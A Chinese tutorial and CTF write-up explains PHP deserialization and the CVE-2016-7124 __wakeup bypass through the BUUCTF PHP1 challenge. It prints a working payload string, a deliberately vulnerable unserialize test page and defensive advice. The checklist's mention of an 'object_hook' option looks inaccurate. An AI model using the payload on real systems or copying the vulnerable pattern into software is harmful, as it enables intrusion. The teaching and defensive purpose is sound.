从CTF靶场到实战:手把手教你复现PHP反序列化漏洞(CVE-2016-7124绕过__wakeup)
2026/6/12 22:10:22 网站建设 项目流程

从CTF靶场到实战:深度解析PHP反序列化漏洞与CVE-2016-7124绕过机制

在Web安全领域,PHP反序列化漏洞一直是攻击者青睐的攻击向量之一。这类漏洞不仅出现在CTF比赛中,更在真实世界的Web应用中频繁出现。本文将从一个经典的CTF题目(BUUCTF-[极客大挑战 2019]PHP1)出发,深入剖析PHP反序列化漏洞的核心原理,特别是如何利用CVE-2016-7124绕过__wakeup魔术方法的保护机制。

1. PHP反序列化漏洞基础

PHP反序列化漏洞的本质在于,当应用程序接受用户输入的序列化数据并直接进行反序列化操作时,攻击者可以构造特定的序列化字符串来触发对象中的魔术方法,进而执行恶意代码或改变程序逻辑。

1.1 序列化与反序列化原理

PHP提供了两个核心函数来处理对象的序列化和反序列化:

  • serialize():将对象转换为可存储或传输的字符串表示
  • unserialize():将序列化字符串还原为PHP对象
class User { public $username = 'admin'; private $password = 'secret'; } $user = new User(); $serialized = serialize($user); // 输出:O:4:"User":2:{s:8:"username";s:5:"admin";s:14:"Userpassword";s:6:"secret";}

1.2 关键魔术方法

PHP中有几个与序列化相关的魔术方法特别值得关注:

  • __construct():对象创建时调用
  • __destruct():对象销毁时调用
  • __wakeup():反序列化完成后立即调用
  • __sleep():序列化前调用

这些方法的执行时机为攻击者提供了潜在的攻击面。

2. CVE-2016-7124漏洞分析

CVE-2016-7124是一个影响特定PHP版本的反序列化漏洞,它允许攻击者通过修改序列化字符串中的对象属性数量来绕过__wakeup方法的执行。

2.1 漏洞原理

在受影响的PHP版本中(PHP5 < 5.6.25,PHP7 < 7.0.10),当反序列化字符串中表示对象属性数量的值与实际属性数量不符时,__wakeup方法将不会被调用。

原始序列化字符串格式:

O:<类名长度>:"<类名>":<属性数量>:{<属性>}

漏洞利用方式: 将属性数量修改为大于实际数量的值即可绕过__wakeup

2.2 受影响版本

PHP版本范围是否受影响
PHP5 < 5.6.25
PHP7 < 7.0.10
PHP >= 5.6.25
PHP >= 7.0.10

注意:即使在不受影响的PHP版本上,理解这个漏洞的原理仍然对安全研究有重要价值。

3. 实战:从CTF题目到漏洞利用

让我们以BUUCTF-[极客大挑战 2019]PHP1为例,详细分析如何利用这个漏洞。

3.1 题目代码分析

题目关键代码位于class.php中:

class Name { private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username, $password) { $this->username = $username; $this->password = $password; } function __wakeup() { $this->username = 'guest'; } function __destruct() { if ($this->password != 100) { die("NO!!!hacker!!!"); } if ($this->username === 'admin') { global $flag; echo $flag; } else { die("hello my friend~~ sorry i can't give you the flag!"); } } }

3.2 攻击思路

要获取flag,需要满足两个条件:

  1. $password必须等于100
  2. $username必须等于'admin'

但存在两个障碍:

  1. __wakeup()方法会将$username重置为'guest'
  2. $username$password都是private属性,序列化时需要特殊处理

3.3 构造Payload

首先,我们创建一个正常的序列化对象:

$obj = new Name('admin', '100'); echo serialize($obj); // 输出:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

然后进行两处修改:

  1. 将属性数量从2改为更大的数字(如3)以绕过__wakeup
  2. 正确处理private属性的表示(添加%00

最终Payload:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

4. 深入理解private/protected属性的序列化

PHP对不同类型的属性在序列化时有不同的处理方式:

4.1 属性类型与序列化表示

属性类型序列化前缀示例
publics:2:"op";i:2;
protected\0*\0s:5:"\0*\0op";i:2;
private\0类名\0s:17:"\0Name\0op";i:2;

4.2 URL编码处理

由于\0字符在URL中需要特殊处理,我们需要将其替换为%00

// 原始private属性 s:14:"\0Name\0username";s:5:"admin"; // URL编码后 s:14:"%00Name%00username";s:5:"admin";

提示:在构造Payload时,长度计算需要考虑%00作为一个字符,而不是三个字符。

5. 防御措施与最佳实践

了解了攻击原理后,我们来看如何防御这类漏洞。

5.1 安全编码建议

  1. 避免直接反序列化用户输入

    • 这是最根本的解决方案
    • 如果必须反序列化用户数据,应先进行严格验证
  2. 使用JSON替代序列化

    // 不安全 $data = unserialize($_GET['data']); // 更安全 $data = json_decode($_GET['data'], true);
  3. 更新PHP版本

    • 确保使用不受CVE-2016-7124影响的PHP版本

5.2 安全检测清单

  • [ ] 检查所有unserialize()调用是否处理了用户输入
  • [ ] 验证PHP版本是否已更新到安全版本
  • [ ] 审查所有包含魔术方法的类,特别是__wakeup__destruct
  • [ ] 考虑使用object_hook参数限制反序列化的类

6. 从CTF到真实世界的思考

CTF题目往往简化了真实世界的复杂场景,但核心原理是相通的。在实际渗透测试中,PHP反序列化漏洞可能出现在:

  1. 会话存储:某些框架使用序列化存储会话数据
  2. 缓存系统:对象缓存可能使用序列化
  3. API通信:服务间传输数据可能使用序列化格式
  4. 配置文件:某些应用使用序列化存储配置

理解这些场景有助于我们在真实环境中发现和利用类似的漏洞。

7. 扩展实验:搭建本地测试环境

为了更好地理解漏洞,建议搭建本地测试环境:

  1. 安装受影响的PHP版本(如PHP 5.6.24)

    # 使用Docker快速搭建环境 docker run -it -p 8080:80 --name php5624 php:5.6.24-apache
  2. 创建漏洞测试页面

    // vuln.php if (isset($_GET['data'])) { $obj = unserialize($_GET['data']); }
  3. 尝试不同的Payload,观察行为差异

通过亲手实验,可以更深入地理解漏洞的触发条件和影响范围。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询